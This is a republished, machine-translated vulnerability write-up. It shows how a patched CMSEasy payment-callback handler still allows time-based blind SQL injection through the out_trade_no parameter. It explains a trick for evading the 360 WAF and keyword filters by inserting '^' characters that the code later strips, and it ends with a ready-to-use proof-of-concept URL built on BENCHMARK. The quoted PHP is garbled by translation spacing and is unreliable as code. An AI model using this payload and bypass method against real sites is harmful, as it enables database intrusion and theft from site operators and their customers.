Cmseasy latest patch bypasses SQL injection (bypasses 360waf)

Source: Internet
Author: User

Cmseasy latest patch bypasses SQL injection (bypasses 360waf)

Archive_act.php (row 611)

Function respond_action () {include_once ROOT. '/lib/plugins/pay /'. front: $ get ['code']. '. php '; $ payclassname = front: $ get ['code']; $ payobj = new $ payclassname (); $ uri = $ _ SERVER ["REQUEST_URI"]; $ __uriget = strstr ($ uri ,'? '); $ __Uriget = str_replace ('? ', '', $ __Uriget); $ __uriget = explode (' & ', $ __uriget); $ _ GET = array (); foreach ($ __uriget as $ key => $ val) {$ tmp = explode ('=', $ val ); $ _ GET [$ tmp [0] = $ tmp [1]; if (preg_match ('/\' | select | union | "/I ', $ tmp1 )) {exit ('invalid parameter') ;}} file_put_contents('logs11.txt ', var_export ($ _ GET, true); $ status = $ payobj-> respond (); if ($ status) {echo '<script type = "text/javascript"> alert ("'. lang ('paid, jump to order query '). '") </script>'; front: refresh (url ('archive/orders/oid /'. front: get ('subobject'), true);} else {echo '<script type = "text/javascript"> alert ("'. lang ('jump to order query '). '") </script>'; front: refresh (url ('archive/orders/oid /'. front: get ('subobject'), true ));}}


$ Tmp1 and $ tmp [1] developers are confused and fail to see clearly, leading to invalid filtering. Here, the get parameter is reorganized and obtained from the $ _ SERVER ["REQUEST_URI"] split. In this case, all the previous filters are invalid, and the filters are invalid.

You can use front: $ get ['code'] to control the pay file to be loaded,

Look at the file: alipay. php:

function respond() {        if (!empty($_POST)) {            foreach($_POST as $key =>$data) {                if(preg_match('/(=|<|>|\')/', $data)){                    return false;                }                $_GET[$key] = $data;            }        }        $payment  = pay::get_payment($_GET['code']);        $seller_email = rawurldecode($_GET['seller_email']);        $order_sn = str_replace($_GET['subject'],'',$_GET['out_trade_no']);        $order_sn = trim($order_sn);        if (!pay::check_money($order_sn,$_GET['total_fee'])) {            return false;        }        if($_GET['trade_status'] == "WAIT_SELLER_SEND_GOODS"||$_GET['trade_status'] == "TRADE_FINISHED" || $_GET['trade_status'] == "TRADE_SUCCESS") {            pay::changeorders($order_sn,$_GET);            return true;        }else {            return false;        }    }


Control Parameter trade_status = WAIT_SELLER_SEND_GOODS, enter pay: changeorders ($ order_sn, $ _ GET );

Public static function changeorders ($ id, $ orderlog) {// file_put_contents('logs.txt ', $ id); $ where = array (); $ where ['id'] = $ id; $ where ['status'] = 4; // $ where ['orderlog'] = serialize ($ orderlog); $ update = orders: getInstance () -> rec_update ($ where, $ id); if ($ update <1) {exit ('order status change error, contact the postmaster ');}}


Here, $ id is the previous $ order_sn, which can be directly controlled by the get parameter.

Enter this method: $ update = orders: getInstance ()-> rec_update ($ where, $ id );

 

function rec_update($row,$where) {        $tbname=$this->name;        $sql=$this->sql_update($tbname,$row,$where);        //echo $sql."<br>";        return $this->query_unbuffered($sql);    }


Here the programmer is confused again. The rec_update method where variable is obviously the second parameter. When it is passed in, $ where put the first parameter (this programmer has opened it !), In this way, the $ id value is used as a condition for SQL statements.

Let's get started with waf:

First, waf of 360: detected a lot of dangerous functions, and even worse, it filters single quotes globally and kills them when they are seen. However, $ order_sn is directly brought to the end of where and does not require single quotation marks. It does not work. There is one in the previous method:

$ Order_sn = str_replace ($ _ GET ['subobject'], '', $ _ GET ['out _ trade_no ']);

In this way, the replacement function is used to insert ^ in the middle of the dangerous function, and then set the subject to ^, then the 360waf can be successfully bypassed.

Next, when the SQL statement is executed, there is another filter:

if(preg_match('/(if|select|ascii|from|sleep)/i', $condition)){        //echo $condition;        exit('sql inject');        }

Because it is an update injection and cannot display errors, sleep is filtered and only BENCHMARK can be used.

If is also filtered, only or can be used.

The get parameter is passed directly from querystring, and the space will be replaced with % 20. All parameters can only be replaced:

Final POC: (latency blind injection method, slightly changed)

 

1.http://**.**.**/cmseasy/index.phpcase=archive&act=respond&code=alipay&subject=^&out_trade_no=ord(sub^str(datab^ase(),1,1))/^**^/not/^**^/in/^**^/(99)/^**^/or/^**^/BEN^CHMARK(100000000,md5(1))&trade_status=WAIT_SELLER_SEND_GOODS
Solution:

Enhanced Filtering

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.